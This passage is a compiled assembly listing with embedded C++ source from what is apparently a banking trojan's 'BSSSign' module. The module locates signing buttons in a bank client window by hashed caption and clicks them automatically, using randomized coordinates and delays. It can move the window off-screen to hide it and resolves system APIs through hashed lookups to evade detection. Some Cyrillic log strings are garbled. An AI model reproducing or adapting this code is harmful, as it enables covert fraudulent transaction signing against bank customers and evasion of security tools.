  00006	53		 push	 ebx
  00007	56		 push	 esi
  00008	57		 push	 edi
; 323  : 	// 
; 324  : 	DWORD X = Random::Generate(2, 30);
  00009	6a 1e		 push	 30			; 0000001eH
  0000b	6a 02		 push	 2
  0000d	e8 00 00 00 00	 call	 ?Generate@Random@@YAKKK@Z ; Random::Generate
; 325  : 	DWORD Y = Random::Generate(2, 10);
  00012	6a 0a		 push	 10			; 0000000aH
  00014	6a 02		 push	 2
  00016	8b f8		 mov	 edi, eax
  00018	e8 00 00 00 00	 call	 ?Generate@Random@@YAKKK@Z ; Random::Generate
; 326  : 
; 327  : 	BSSSIGNLOG(NULL, false, "
 [%d][%s]", Button, GetWndText2(Button).t_str());
  0001d	8b 75 08	 mov	 esi, DWORD PTR _Button$[ebp]
  00020	89 45 f8	 mov	 DWORD PTR _Y$[ebp], eax
  00023	8d 45 f0	 lea	 eax, DWORD PTR $T71440[ebp]
  00026	56		 push	 esi
  00027	50		 push	 eax
  00028	e8 00 00 00 00	 call	 ?GetWndText2@@YA?AV?$TString@D@@PAUHWND__@@@Z ; GetWndText2
  0002d	83 c4 18	 add	 esp, 24			; 00000018H
  00030	8b c8		 mov	 ecx, eax
  00032	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00037	50		 push	 eax
  00038	56		 push	 esi
  00039	68 00 00 00 00	 push	 OFFSET ??_C@_0BL@ONKDMFB@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?$FL?$CFd?$FN?$FL?$CFs?$FN?$AA@
  0003e	33 db		 xor	 ebx, ebx
  00040	53		 push	 ebx
  00041	53		 push	 ebx
  00042	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@H_NPBDPAUHWND__@@PAD@@YAXH_NPBDPAUHWND__@@PAD@Z ; BSSSignLogTemplate<int,bool,char const *,HWND__ *,char *>
  00047	83 c4 14	 add	 esp, 20			; 00000014H
  0004a	8d 4d f0	 lea	 ecx, DWORD PTR $T71440[ebp]
  0004d	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 328  : 	BSSSIGNLOG(NULL, false, "
 %d, %d", X, Y);
  00052	ff 75 f8	 push	 DWORD PTR _Y$[ebp]
  00055	57		 push	 edi
  00056	68 00 00 00 00	 push	 OFFSET ??_C@_0BC@GECAKGGH@?J?n?n?p?d?h?m?$OA?r?$PL?5?$CFd?0?5?$CFd?$AA@
  0005b	53		 push	 ebx
  0005c	53		 push	 ebx
  0005d	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@H_NPBDKK@@YAXH_NPBDKK@Z ; BSSSignLogTemplate<int,bool,char const *,unsigned long,unsigned long>
; 329  : 
; 330  : 	bool Result = HardClickToWindow(Button, X, Y);
  00062	ff 75 f8	 push	 DWORD PTR _Y$[ebp]
  00065	57		 push	 edi
  00066	56		 push	 esi
  00067	e8 00 00 00 00	 call	 ?HardClickToWindow@@YA_NPAUHWND__@@HH@Z ; HardClickToWindow
  0006c	83 c4 20	 add	 esp, 32			; 00000020H
  0006f	88 45 ff	 mov	 BYTE PTR _Result$[ebp], al
; 331  : 	if (Result)
  00072	3a c3		 cmp	 al, bl
  00074	74 43		 je	 SHORT $LN1@BSSClickTo
; 332  : 	{
; 333  : 		BSSSIGNLOG(NULL, false, "
: [%s] \r\n\r\n", GetWndText2(Button).t_str());
  00076	8d 45 f0	 lea	 eax, DWORD PTR $T71441[ebp]
  00079	56		 push	 esi
  0007a	50		 push	 eax
  0007b	e8 00 00 00 00	 call	 ?GetWndText2@@YA?AV?$TString@D@@PAUHWND__@@@Z ; GetWndText2
  00080	59		 pop	 ecx
  00081	59		 pop	 ecx
  00082	8b c8		 mov	 ecx, eax
  00084	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00089	50		 push	 eax
  0008a	68 00 00 00 00	 push	 OFFSET ??_C@_0BO@NDDJBEHK@?M?n?b?$PL?i?5?r?e?j?q?r?5?j?m?n?o?j?h?3?5?$FL?$CFs?$FN?5?$AN?6?$AN?6?$AA@
  0008f	53		 push	 ebx
  00090	53		 push	 ebx
  00091	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@H_NPBDPAD@@YAXH_NPBDPAD@Z ; BSSSignLogTemplate<int,bool,char const *,char *>
  00096	83 c4 10	 add	 esp, 16			; 00000010H
  00099	8d 4d f0	 lea	 ecx, DWORD PTR $T71441[ebp]
  0009c	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 334  : 
; 335  : 		pSleep(Random::Generate(1000, 1500));
  000a1	68 dc 05 00 00	 push	 1500			; 000005dcH
  000a6	68 e8 03 00 00	 push	 1000			; 000003e8H
  000ab	e8 00 00 00 00	 call	 ?Generate@Random@@YAKKK@Z ; Random::Generate
  000b0	50		 push	 eax
  000b1	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z ; pushargEx<1,1033466613,47,unsigned long>
  000b6	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN1@BSSClickTo:
; 336  : 	}
; 337  : 
; 338  :     return Result;
  000b9	8a 45 ff	 mov	 al, BYTE PTR _Result$[ebp]
  000bc	5f		 pop	 edi
  000bd	5e		 pop	 esi
  000be	5b		 pop	 ebx
; 339  : }
  000bf	c9		 leave
  000c0	c3		 ret	 0
?BSSClickToButton@@YA_NPAUHWND__@@@Z ENDP		; BSSClickToButton
_TEXT	ENDS
PUBLIC	?BSSClickToButtons@@YAKPAUHWND__@@_NK@Z		; BSSClickToButtons
; Function compile flags: /Ogspy
;	COMDAT ?BSSClickToButtons@@YAKPAUHWND__@@_NK@Z
_TEXT	SEGMENT
$T71444 = -24						; size = 8
_Text$69668 = -16					; size = 8
_Y$69675 = -8						; size = 4
_Count$ = -4						; size = 4
_Form$ = 8						; size = 4
_MultiClick$ = 12					; size = 1
_BtnCaptionHash$ = 16					; size = 4
?BSSClickToButtons@@YAKPAUHWND__@@_NK@Z PROC		; BSSClickToButtons, COMDAT
; 343  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 18	 sub	 esp, 24			; 00000018H
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 344  : 	// 
; 345  : 	DWORD Count = 0;
  00008	33 db		 xor	 ebx, ebx
  0000a	57		 push	 edi
; 346  : 	HWND Button = NULL;
; 347  : 	do
; 348  : 	{
; 349  : //		Button = (HWND)pFindWindowExA(Form, Button, BSSSign::ButtonClassName, NULL);
; 350  : 
; 351  : 		Button = (HWND)pFindWindowExA(Form, Button, NULL, NULL);
  0000b	53		 push	 ebx
  0000c	53		 push	 ebx
  0000d	89 5d fc	 mov	 DWORD PTR _Count$[ebp], ebx
  00010	53		 push	 ebx
  00011	e9 e4 00 00 00	 jmp	 $LN26@BSSClickTo@2
$LL8@BSSClickTo@2:
; 353  : 
; 354  : 		string Text = GetWndText2(Button);
  00016	8d 45 f0	 lea	 eax, DWORD PTR _Text$69668[ebp]
  00019	56		 push	 esi
  0001a	50		 push	 eax
  0001b	e8 00 00 00 00	 call	 ?GetWndText2@@YA?AV?$TString@D@@PAUHWND__@@@Z ; GetWndText2
; 355  : 		DWORD Hash = Text.Hash();
  00020	53		 push	 ebx
  00021	53		 push	 ebx
  00022	ff 75 f4	 push	 DWORD PTR _Text$69668[ebp+4]
  00025	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
  0002a	83 c4 14	 add	 esp, 20			; 00000014H
; 356  : 
; 357  : 		// 
; 358  : 		if (Hash != BtnCaptionHash)
  0002d	3b 45 10	 cmp	 eax, DWORD PTR _BtnCaptionHash$[ebp]
  00030	74 1d		 je	 SHORT $LN4@BSSClickTo@2
; 359  : 		{
; 360  : 			Count += BSSClickToButtons(Button, MultiClick, BtnCaptionHash);
  00032	ff 75 10	 push	 DWORD PTR _BtnCaptionHash$[ebp]
  00035	ff 75 0c	 push	 DWORD PTR _MultiClick$[ebp]
  00038	56		 push	 esi
  00039	e8 00 00 00 00	 call	 ?BSSClickToButtons@@YAKPAUHWND__@@_NK@Z ; BSSClickToButtons
  0003e	83 c4 0c	 add	 esp, 12			; 0000000cH
  00041	01 45 fc	 add	 DWORD PTR _Count$[ebp], eax
; 361  : 			if (Count && !MultiClick)
  00044	0f 84 a5 00 00
	00		 je	 $LN1@BSSClickTo@2
; 362  : 				return Count;
; 363  : 			continue;
  0004a	e9 9b 00 00 00	 jmp	 $LN27@BSSClickTo@2
$LN4@BSSClickTo@2:
; 364  : 		}
; 365  : 
; 366  : 		// 
; 367  : 		DWORD X = Random::Generate(2, 30);
  0004f	6a 1e		 push	 30			; 0000001eH
  00051	6a 02		 push	 2
  00053	e8 00 00 00 00	 call	 ?Generate@Random@@YAKKK@Z ; Random::Generate
; 368  : 		DWORD Y = Random::Generate(2, 10);
  00058	6a 0a		 push	 10			; 0000000aH
  0005a	6a 02		 push	 2
  0005c	8b f8		 mov	 edi, eax
  0005e	e8 00 00 00 00	 call	 ?Generate@Random@@YAKKK@Z ; Random::Generate
  00063	89 45 f8	 mov	 DWORD PTR _Y$69675[ebp], eax
; 369  : 
; 370  : 		BSSSIGNLOG(NULL, false, "
 [%d][%s]", Button, Text.t_str());
  00066	8b 45 f4	 mov	 eax, DWORD PTR _Text$69668[ebp+4]
  00069	83 c4 10	 add	 esp, 16			; 00000010H
  0006c	3b c3		 cmp	 eax, ebx
  0006e	75 05		 jne	 SHORT $LN18@BSSClickTo@2
  00070	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN18@BSSClickTo@2:
  00075	50		 push	 eax
  00076	56		 push	 esi
  00077	68 00 00 00 00	 push	 OFFSET ??_C@_0BL@ONKDMFB@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?$FL?$CFd?$FN?$FL?$CFs?$FN?$AA@
  0007c	53		 push	 ebx
  0007d	53		 push	 ebx
  0007e	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@H_NPBDPAUHWND__@@PAD@@YAXH_NPBDPAUHWND__@@PAD@Z ; BSSSignLogTemplate<int,bool,char const *,HWND__ *,char *>
; 371  : 		BSSSIGNLOG(NULL, false, "
 %d, %d", X, Y);
  00083	ff 75 f8	 push	 DWORD PTR _Y$69675[ebp]
  00086	57		 push	 edi
  00087	68 00 00 00 00	 push	 OFFSET ??_C@_0BC@GECAKGGH@?J?n?n?p?d?h?m?$OA?r?$PL?5?$CFd?0?5?$CFd?$AA@
  0008c	53		 push	 ebx
  0008d	53		 push	 ebx
  0008e	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@H_NPBDKK@@YAXH_NPBDKK@Z ; BSSSignLogTemplate<int,bool,char const *,unsigned long,unsigned long>
; 372  : 
; 373  : 		if (HardClickToWindow(Button, X, Y))
  00093	ff 75 f8	 push	 DWORD PTR _Y$69675[ebp]
  00096	57		 push	 edi
  00097	56		 push	 esi
  00098	e8 00 00 00 00	 call	 ?HardClickToWindow@@YA_NPAUHWND__@@HH@Z ; HardClickToWindow
  0009d	83 c4 34	 add	 esp, 52			; 00000034H
  000a0	84 c0		 test	 al, al
  000a2	74 4b		 je	 SHORT $LN1@BSSClickTo@2
; 374  : 		{
; 375  : 			BSSSIGNLOG(NULL, false, "
: [%s] \r\n\r\n", GetWndText2(Button).t_str());
  000a4	8d 45 e8	 lea	 eax, DWORD PTR $T71444[ebp]
  000a7	56		 push	 esi
  000a8	50		 push	 eax
  000a9	e8 00 00 00 00	 call	 ?GetWndText2@@YA?AV?$TString@D@@PAUHWND__@@@Z ; GetWndText2
  000ae	59		 pop	 ecx
  000af	59		 pop	 ecx
  000b0	8b c8		 mov	 ecx, eax
  000b2	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  000b7	50		 push	 eax
  000b8	68 00 00 00 00	 push	 OFFSET ??_C@_0BO@NDDJBEHK@?M?n?b?$PL?i?5?r?e?j?q?r?5?j?m?n?o?j?h?3?5?$FL?$CFs?$FN?5?$AN?6?$AN?6?$AA@
  000bd	53		 push	 ebx
  000be	53		 push	 ebx
  000bf	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@H_NPBDPAD@@YAXH_NPBDPAD@Z ; BSSSignLogTemplate<int,bool,char const *,char *>
  000c4	83 c4 10	 add	 esp, 16			; 00000010H
  000c7	8d 4d e8	 lea	 ecx, DWORD PTR $T71444[ebp]
  000ca	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 376  : 
; 377  : 			Count++;
  000cf	ff 45 fc	 inc	 DWORD PTR _Count$[ebp]
; 378  : 			pSleep(Random::Generate(1000, 1500));
  000d2	68 dc 05 00 00	 push	 1500			; 000005dcH
  000d7	68 e8 03 00 00	 push	 1000			; 000003e8H
  000dc	e8 00 00 00 00	 call	 ?Generate@Random@@YAKKK@Z ; Random::Generate
  000e1	50		 push	 eax
  000e2	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z ; pushargEx<1,1033466613,47,unsigned long>
  000e7	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN27@BSSClickTo@2:
; 379  : 
; 380  : 			if (!MultiClick) break;
  000ea	38 5d 0c	 cmp	 BYTE PTR _MultiClick$[ebp], bl
  000ed	74 22		 je	 SHORT $LN23@BSSClickTo@2
$LN1@BSSClickTo@2:
; 381  :         }
; 382  : 	}
  000ef	8d 4d f0	 lea	 ecx, DWORD PTR _Text$69668[ebp]
  000f2	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000f7	53		 push	 ebx
  000f8	53		 push	 ebx
  000f9	56		 push	 esi
$LN26@BSSClickTo@2:
  000fa	ff 75 08	 push	 DWORD PTR _Form$[ebp]
  000fd	e8 00 00 00 00	 call	 ??$pushargEx@$02$0KNEPPMNF@$0BDI@PAUHWND__@@PAU1@HH@@YAPAXPAUHWND__@@0HH@Z ; pushargEx<3,2907700437,312,HWND__ *,HWND__ *,int,int>
  00102	8b f0		 mov	 esi, eax
  00104	83 c4 10	 add	 esp, 16			; 00000010H
  00107	3b f3		 cmp	 esi, ebx
  00109	0f 85 07 ff ff
	ff		 jne	 $LL8@BSSClickTo@2
; 352  : 		if (Button == NULL) break;
  0010f	eb 08		 jmp	 SHORT $LN6@BSSClickTo@2
$LN23@BSSClickTo@2:
; 379  : 
; 380  : 			if (!MultiClick) break;
  00111	8d 4d f0	 lea	 ecx, DWORD PTR _Text$69668[ebp]
  00114	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN6@BSSClickTo@2:
; 383  : 	while (true);
; 384  : 
; 385  : 	return Count;
  00119	8b 45 fc	 mov	 eax, DWORD PTR _Count$[ebp]
  0011c	5f		 pop	 edi
  0011d	5e		 pop	 esi
  0011e	5b		 pop	 ebx
; 386  : }
  0011f	c9		 leave
  00120	c3		 ret	 0
?BSSClickToButtons@@YAKPAUHWND__@@_NK@Z ENDP		; BSSClickToButtons
_TEXT	ENDS
PUBLIC	??_C@_0DC@HINAPBKE@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?n?j?m?n?5?s?q?r?$OA?m?n?b?j?h?5?o?n?d?o@ ; `string'
PUBLIC	??_7TBSSSignForm@@6B@				; TBSSSignForm::`vftable'
PUBLIC	??0TBSSSignForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSSignForm::TBSSSignForm
PUBLIC	?Click@TBSSSignForm@@MAE_NXZ			; TBSSSignForm::Click
PUBLIC	?Wait@TBSSSignForm@@MAEXXZ			; TBSSSignForm::Wait
PUBLIC	?Execute@TBSSSignForm@@UAE?AW4TBSSFormStatus@@XZ ; TBSSSignForm::Execute
EXTRN	??0TBotList@@QAE@XZ:PROC			; TBotList::TBotList
EXTRN	??_ETBSSSignForm@@UAEPAXI@Z:PROC		; TBSSSignForm::`vector deleting destructor'
;	COMDAT ??_C@_0DC@HINAPBKE@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?n?j?m?n?5?s?q?r?$OA?m?n?b?j?h?5?o?n?d?o@
; File e:\projects\progs\petrosjan\bjwj\source\core\listtemplate.cpp
CONST	SEGMENT
??_C@_0DC@HINAPBKE@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?n?j?m?n?5?s?q?r?$OA?m?n?b?j?h?5?o?n?d?o@ DB 0ceH
	DB	0e1H, 0f0H, 0e0H, 0e1H, 0e0H, 0f2H, 0fbH, 0e2H, 0e0H, 0e5H, 0ecH
	DB	' ', 0eeH, 0eaH, 0edH, 0eeH, ' ', 0f3H, 0f1H, 0f2H, 0e0H, 0edH
	DB	0eeH, 0e2H, 0eaH, 0e8H, ' ', 0efH, 0eeH, 0e4H, 0efH, 0e8H, 0f1H
	DB	0e5H, 0e9H, '. ', 0cfH, 0eeH, 0e4H, 0efH, 0e8H, 0f1H, 0e5H, 0e9H
	DB	' %d', 00H					; `string'
CONST	ENDS
;	COMDAT ??_7TBSSSignForm@@6B@
CONST	SEGMENT
??_7TBSSSignForm@@6B@ DD FLAT:??_ETBSSSignForm@@UAEPAXI@Z ; TBSSSignForm::`vftable'
	DD	FLAT:?Click@TBSSSignForm@@MAE_NXZ
	DD	FLAT:?Wait@TBSSSignForm@@MAEXXZ
	DD	FLAT:?Execute@TBSSSignForm@@UAE?AW4TBSSFormStatus@@XZ
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	ENDS
;	COMDAT ??0TBSSSignForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z
_TEXT	SEGMENT
_aOwner$ = 8						; size = 4
_Wnd$ = 12						; size = 4
??0TBSSSignForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z PROC	; TBSSSignForm::TBSSSignForm, COMDAT
; _this$ = ecx
; 543  : 	{
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	57		 push	 edi
  00003	ff 74 24 14	 push	 DWORD PTR _Wnd$[esp+8]
  00007	8b f1		 mov	 esi, ecx
  00009	ff 74 24 14	 push	 DWORD PTR _aOwner$[esp+12]
  0000d	e8 00 00 00 00	 call	 ??0TBSSForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSForm::TBSSForm
  00012	8d 7e 28	 lea	 edi, DWORD PTR [esi+40]
  00015	8b cf		 mov	 ecx, edi
  00017	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBSSSignForm@@6B@
  0001d	e8 00 00 00 00	 call	 ??0TBotList@@QAE@XZ	; TBotList::TBotList
; 544  : 		// 
; 545  : 		FClickedCount = 0;
; 546  : 		FWaitWindow   = false;
; 547  : 		FClosebtnClickStart = 0;
; 548  :         BSSSearchButtons(Wnd, false, BSS_SIGN_BUTTON_CAPTION_HASH, &FButtons);
  00022	57		 push	 edi
  00023	33 db		 xor	 ebx, ebx
  00025	68 fd 55 1a be	 push	 -1105570307		; be1a55fdH
  0002a	53		 push	 ebx
  0002b	ff 74 24 20	 push	 DWORD PTR _Wnd$[esp+20]
  0002f	89 5e 1c	 mov	 DWORD PTR [esi+28], ebx
  00032	88 5e 24	 mov	 BYTE PTR [esi+36], bl
  00035	89 5e 40	 mov	 DWORD PTR [esi+64], ebx
  00038	e8 00 00 00 00	 call	 ?BSSSearchButtons@@YAPAUHWND__@@PAU1@_NKPAVTBotList@@@Z ; BSSSearchButtons
; 549  : 
; 550  : 		BDBG("bsssign","
 %d", FButtons.Count());
; 551  : 		BSSSIGNLOG(Wnd, false, "
 %d", FButtons.Count());
  0003d	ff 76 2c	 push	 DWORD PTR [esi+44]
  00040	68 00 00 00 00	 push	 OFFSET ??_C@_0DC@HINAPBKE@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?n?j?m?n?5?s?q?r?$OA?m?n?b?j?h?5?o?n?d?o@
  00045	53		 push	 ebx
  00046	ff 74 24 30	 push	 DWORD PTR _Wnd$[esp+36]
  0004a	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@PAUHWND__@@_NPBDH@@YAXPAUHWND__@@_NPBDH@Z ; BSSSignLogTemplate<HWND__ *,bool,char const *,int>
  0004f	83 c4 20	 add	 esp, 32			; 00000020H
; 552  : 		#ifdef BSSSIGN_HIDE_WND
; 553  :             Move(-1000, 0);
  00052	53		 push	 ebx
  00053	68 18 fc ff ff	 push	 -1000			; fffffc18H
  00058	8b ce		 mov	 ecx, esi
  0005a	e8 00 00 00 00	 call	 ?Move@TBSSForm@@IAEXHH@Z ; TBSSForm::Move
  0005f	5f		 pop	 edi
; 554  : 		#endif
; 555  : 	};
  00060	8b c6		 mov	 eax, esi
  00062	5e		 pop	 esi
  00063	5b		 pop	 ebx
  00064	c2 08 00	 ret	 8
??0TBSSSignForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ENDP	; TBSSSignForm::TBSSSignForm
_TEXT	ENDS
PUBLIC	??1TBSSSignForm@@UAE@XZ				; TBSSSignForm::~TBSSSignForm
EXTRN	??1TBotList@@UAE@XZ:PROC			; TBotList::~TBotList
; Function compile flags: /Ogspy
;	COMDAT ??1TBSSSignForm@@UAE@XZ
_TEXT	SEGMENT
??1TBSSSignForm@@UAE@XZ PROC				; TBSSSignForm::~TBSSSignForm, COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	8d 4e 28	 lea	 ecx, DWORD PTR [esi+40]
  00006	e8 00 00 00 00	 call	 ??1TBotList@@UAE@XZ	; TBotList::~TBotList
  0000b	8b ce		 mov	 ecx, esi
  0000d	5e		 pop	 esi
  0000e	e9 00 00 00 00	 jmp	 ??1TBotCollectionItem@@UAE@XZ ; TBotCollectionItem::~TBotCollectionItem
??1TBSSSignForm@@UAE@XZ ENDP				; TBSSSignForm::~TBSSSignForm
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0MIKIHOKH@$0BDP@PAUHWND__@@HIJ@@YAPAXPAUHWND__@@HIJ@Z ; pushargEx<3,3366485671,319,HWND__ *,int,unsigned int,long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$02$0MIKIHOKH@$0BDP@PAUHWND__@@HIJ@@YAPAXPAUHWND__@@HIJ@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$02$0MIKIHOKH@$0BDP@PAUHWND__@@HIJ@@YAPAXPAUHWND__@@HIJ@Z PROC ; pushargEx<3,3366485671,319,HWND__ *,int,unsigned int,long>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 3f 01 00 00	 push	 319			; 0000013fH
  00005	68 a7 7e a8 c8	 push	 -928481625		; c8a87ea7H
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00016	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  0001a	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001e	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  00022	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00026	ff d0		 call	 eax
; 127  : }
  00028	c3		 ret	 0
??$pushargEx@$02$0MIKIHOKH@$0BDP@PAUHWND__@@HIJ@@YAPAXPAUHWND__@@HIJ@Z ENDP ; pushargEx<3,3366485671,319,HWND__ *,int,unsigned int,long>
_TEXT	ENDS
PUBLIC	?CheckIndex@?$TListTemplate@PAX@@AAE_NH@Z	; TListTemplate<void *>::CheckIndex
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\listtemplate.cpp
;	COMDAT ?CheckIndex@?$TListTemplate@PAX@@AAE_NH@Z
_TEXT	SEGMENT
_Index$ = 8						; size = 4
?CheckIndex@?$TListTemplate@PAX@@AAE_NH@Z PROC		; TListTemplate<void *>::CheckIndex, COMDAT
; _this$ = ecx
; 180  : 	// 
; 181  : 	return Index >= 0 && Index < FCount;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Index$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	7c 0a		 jl	 SHORT $LN3@CheckIndex
  00008	3b 41 04	 cmp	 eax, DWORD PTR [ecx+4]
  0000b	7d 05		 jge	 SHORT $LN3@CheckIndex
  0000d	33 c0		 xor	 eax, eax
  0000f	40		 inc	 eax
  00010	eb 02		 jmp	 SHORT $LN4@CheckIndex
$LN3@CheckIndex:
  00012	33 c0		 xor	 eax, eax
$LN4@CheckIndex:
; 182  : }
  00014	c2 04 00	 ret	 4
?CheckIndex@?$TListTemplate@PAX@@AAE_NH@Z ENDP		; TListTemplate<void *>::CheckIndex
_TEXT	ENDS
EXTRN	?Owner@TBotCollectionItem@@QAEPAVTBotCollection@@XZ:PROC ; TBotCollectionItem::Owner
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
;	COMDAT ?Wait@TBSSSignForm@@MAEXXZ
_TEXT	SEGMENT
?Wait@TBSSSignForm@@MAEXXZ PROC				; TBSSSignForm::Wait, COMDAT
; _this$ = ecx
; 534  : 	{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 535  : 		if (Owner()->Count() > 1)
  00003	e8 00 00 00 00	 call	 ?Owner@TBotCollectionItem@@QAEPAVTBotCollection@@XZ ; TBotCollectionItem::Owner
  00008	8b c8		 mov	 ecx, eax
  0000a	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  0000f	83 f8 01	 cmp	 eax, 1
  00012	7f 08		 jg	 SHORT $LN2@Wait@2
; 536  : 			return;
; 537  :         TBSSForm::Wait();
  00014	8b ce		 mov	 ecx, esi
  00016	5e		 pop	 esi
  00017	e9 00 00 00 00	 jmp	 ?Wait@TBSSForm@@MAEXXZ	; TBSSForm::Wait
$LN2@Wait@2:
  0001c	5e		 pop	 esi
; 538  : 	}
  0001d	c3		 ret	 0
?Wait@TBSSSignForm@@MAEXXZ ENDP				; TBSSSignForm::Wait
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GTBSSSignForm@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBSSSignForm@@UAEPAXI@Z PROC			; TBSSSignForm::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1TBSSSignForm@@UAE@XZ
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@6
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@6:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GTBSSSignForm@@UAEPAXI@Z ENDP			; TBSSSignForm::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	?Delete@?$TListTemplate@PAX@@QAEXH@Z		; TListTemplate<void *>::Delete
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\listtemplate.cpp
;	COMDAT ?Delete@?$TListTemplate@PAX@@QAEXH@Z
_TEXT	SEGMENT
_Index$ = 8						; size = 4
?Delete@?$TListTemplate@PAX@@QAEXH@Z PROC		; TListTemplate<void *>::Delete, COMDAT
; _this$ = ecx
; 92   : {
  00000	56		 push	 esi
  00001	57		 push	 edi
; 93   : 	// 
; 94   : 	if (!CheckIndex(Index)) return;
  00002	8b 7c 24 0c	 mov	 edi, DWORD PTR _Index$[esp+4]
  00006	57		 push	 edi
  00007	8b f1		 mov	 esi, ecx
  00009	e8 00 00 00 00	 call	 ?CheckIndex@?$TListTemplate@PAX@@AAE_NH@Z ; TListTemplate<void *>::CheckIndex
  0000e	84 c0		 test	 al, al
  00010	74 2f		 je	 SHORT $LN3@Delete
; 95   : 
; 96   : 	TItem Temp = FItems[Index];
  00012	8b 46 0c	 mov	 eax, DWORD PTR [esi+12]
  00015	8d 0c b8	 lea	 ecx, DWORD PTR [eax+edi*4]
  00018	53		 push	 ebx
  00019	8b 19		 mov	 ebx, DWORD PTR [ecx]
; 97   : 
; 98   : 	FCount--;
  0001b	ff 4e 04	 dec	 DWORD PTR [esi+4]
  0001e	8b 46 04	 mov	 eax, DWORD PTR [esi+4]
; 99   : 	if (Index < FCount)
  00021	3b f8		 cmp	 edi, eax
  00023	7d 13		 jge	 SHORT $LN1@Delete
; 100  : 	{
; 101  : 		// 
; 102  : 		TItem* Dest = FItems;
; 103  : 		Dest += Index;
; 104  : 		TItem* Source = Dest;
; 105  : 		Source++;
; 106  :         m_memcpy(Dest, Source, (FCount - Index) * sizeof(TItem));
  00025	2b c7		 sub	 eax, edi
  00027	c1 e0 02	 shl	 eax, 2
  0002a	50		 push	 eax
  0002b	8d 41 04	 lea	 eax, DWORD PTR [ecx+4]
  0002e	50		 push	 eax
